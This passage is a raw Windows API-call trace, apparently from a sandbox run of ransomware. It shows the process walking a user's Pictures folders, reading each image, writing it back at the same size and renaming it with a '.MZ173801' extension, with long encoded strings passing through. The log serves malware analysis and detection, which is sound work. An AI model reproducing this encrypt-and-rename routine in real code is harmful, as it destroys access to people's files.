kY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\SxW_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\sxw_.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.972] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.972] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.972] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x7ec5 [0122.972] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.972] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0x7ec5, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x7ec5, lpOverlapped=0x0) returned 1 [0122.973] CloseHandle (hObject=0x280) returned 1 [0122.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\SxW_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\sxw_.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.975] WriteFile (in: hFile=0x280, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x7ec5, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f6d0*=0x7ec5, lpOverlapped=0x0) returned 1 [0122.977] CloseHandle (hObject=0x280) returned 1 [0122.992] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\SxW_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\sxw_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\SxW_.jpg.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\sxw_.jpg.mz173801")) returned 1 [0122.993] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b078fc0, ftCreationTime.dwHighDateTime=0x1d5e1da, ftLastAccessTime.dwLowDateTime=0xa132d410, ftLastAccessTime.dwHighDateTime=0x1d5e4a4, ftLastWriteTime.dwLowDateTime=0xa132d410, ftLastWriteTime.dwHighDateTime=0x1d5e4a4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec5, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="SxW_.jpg", cAlternateFileName="")) returned 0 [0122.994] GetLastError () returned 0x12 [0122.994] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0122.994] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ed5130, ftCreationTime.dwHighDateTime=0x1d5e352, ftLastAccessTime.dwLowDateTime=0x9a327f80, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9a327f80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0122.994] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0122.994] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.994] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ed5130, ftCreationTime.dwHighDateTime=0x1d5e352, ftLastAccessTime.dwLowDateTime=0x9a327f80, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9a327f80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="..", cAlternateFileName="")) returned 1 [0122.994] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.994] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.994] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5a39f0, ftCreationTime.dwHighDateTime=0x1d5d970, ftLastAccessTime.dwLowDateTime=0xe0e2baa0, ftLastAccessTime.dwHighDateTime=0x1d5d93f, ftLastWriteTime.dwLowDateTime=0x9a2698a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x12efe, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="3U4GKOu3Uky7Fn.jpg.MZ173801", cAlternateFileName="3U4GKO~1.MZ1")) returned 1 [0122.994] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.994] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.994] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ecbe400, ftCreationTime.dwHighDateTime=0x1d5dc31, ftLastAccessTime.dwLowDateTime=0x7b469550, ftLastAccessTime.dwHighDateTime=0x1d5e52d, ftLastWriteTime.dwLowDateTime=0x9a28fa00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3ce7, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="c4 27Qhg4nHWZH.gif.MZ173801", cAlternateFileName="C427QH~1.MZ1")) returned 1 [0122.994] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.994] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.994] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff14fe70, ftCreationTime.dwHighDateTime=0x1d5df3e, ftLastAccessTime.dwLowDateTime=0x7ae744f0, ftLastAccessTime.dwHighDateTime=0x1d5dea3, ftLastWriteTime.dwLowDateTime=0x9a2b5b60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x138a6, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="jNKEP2BOP3Vd KvJnfp.bmp.MZ173801", cAlternateFileName="JNKEP2~1.MZ1")) returned 1 [0122.994] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.994] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.994] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6067cda0, ftCreationTime.dwHighDateTime=0x1d5da1d, ftLastAccessTime.dwLowDateTime=0xa12f06c0, ftLastAccessTime.dwHighDateTime=0x1d5dc91, ftLastWriteTime.dwLowDateTime=0x9a2dbcc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf8a0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="JxyaUKX_jiXZ.jpg.MZ173801", cAlternateFileName="JXYAUK~1.MZ1")) returned 1 [0122.994] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.994] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.995] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4777ae80, ftCreationTime.dwHighDateTime=0x1d5e140, ftLastAccessTime.dwLowDateTime=0x50a7cd40, ftLastAccessTime.dwHighDateTime=0x1d5db3d, ftLastWriteTime.dwLowDateTime=0x50a7cd40, ftLastWriteTime.dwHighDateTime=0x1d5db3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="Mr3PQACS", cAlternateFileName="")) returned 1 [0122.995] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.995] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.995] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4777ae80, ftCreationTime.dwHighDateTime=0x1d5e140, ftLastAccessTime.dwLowDateTime=0x50a7cd40, ftLastAccessTime.dwHighDateTime=0x1d5db3d, ftLastWriteTime.dwLowDateTime=0x50a7cd40, ftLastWriteTime.dwHighDateTime=0x1d5db3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x92000290, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0122.995] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4777ae80, ftCreationTime.dwHighDateTime=0x1d5e140, ftLastAccessTime.dwLowDateTime=0x50a7cd40, ftLastAccessTime.dwHighDateTime=0x1d5db3d, ftLastWriteTime.dwLowDateTime=0x50a7cd40, ftLastWriteTime.dwHighDateTime=0x1d5db3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x92000290, cFileName="..", cAlternateFileName="")) returned 1 [0122.995] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b89010, ftCreationTime.dwHighDateTime=0x1d5d82b, ftLastAccessTime.dwLowDateTime=0x95a8860, ftLastAccessTime.dwHighDateTime=0x1d5de6c, ftLastWriteTime.dwLowDateTime=0x95a8860, ftLastWriteTime.dwHighDateTime=0x1d5de6c, nFileSizeHigh=0x0, nFileSizeLow=0x184cc, dwReserved0=0x2e0000, dwReserved1=0x92000290, cFileName="2WobuDku.png", cAlternateFileName="")) returned 1 [0122.995] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0122.995] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0122.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\2WobuDku.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\2wobudku.png"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b89010, ftCreationTime.dwHighDateTime=0x1d5d82b, ftLastAccessTime.dwLowDateTime=0x95a8860, ftLastAccessTime.dwHighDateTime=0x1d5de6c, ftLastWriteTime.dwLowDateTime=0x95a8860, ftLastWriteTime.dwHighDateTime=0x1d5de6c, nFileSizeHigh=0x0, nFileSizeLow=0x184cc)) returned 1 [0122.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\2WobuDku.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\2wobudku.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0122.999] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0122.999] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0122.999] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x184cc [0122.999] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0122.999] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x184cc, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x184cc, lpOverlapped=0x0) returned 1 [0123.001] CloseHandle (hObject=0x28c) returned 1 [0123.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\2WobuDku.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\2wobudku.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.005] WriteFile (in: hFile=0x28c, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x184cc, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f404*=0x184cc, lpOverlapped=0x0) returned 1 [0123.008] CloseHandle (hObject=0x28c) returned 1 [0123.010] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\2WobuDku.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\2wobudku.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\2WobuDku.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\2wobudku.png.mz173801")) returned 1 [0123.011] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c77110, ftCreationTime.dwHighDateTime=0x1d5dfc3, ftLastAccessTime.dwLowDateTime=0x449ce4d0, ftLastAccessTime.dwHighDateTime=0x1d5d7ab, ftLastWriteTime.dwLowDateTime=0x449ce4d0, ftLastWriteTime.dwHighDateTime=0x1d5d7ab, 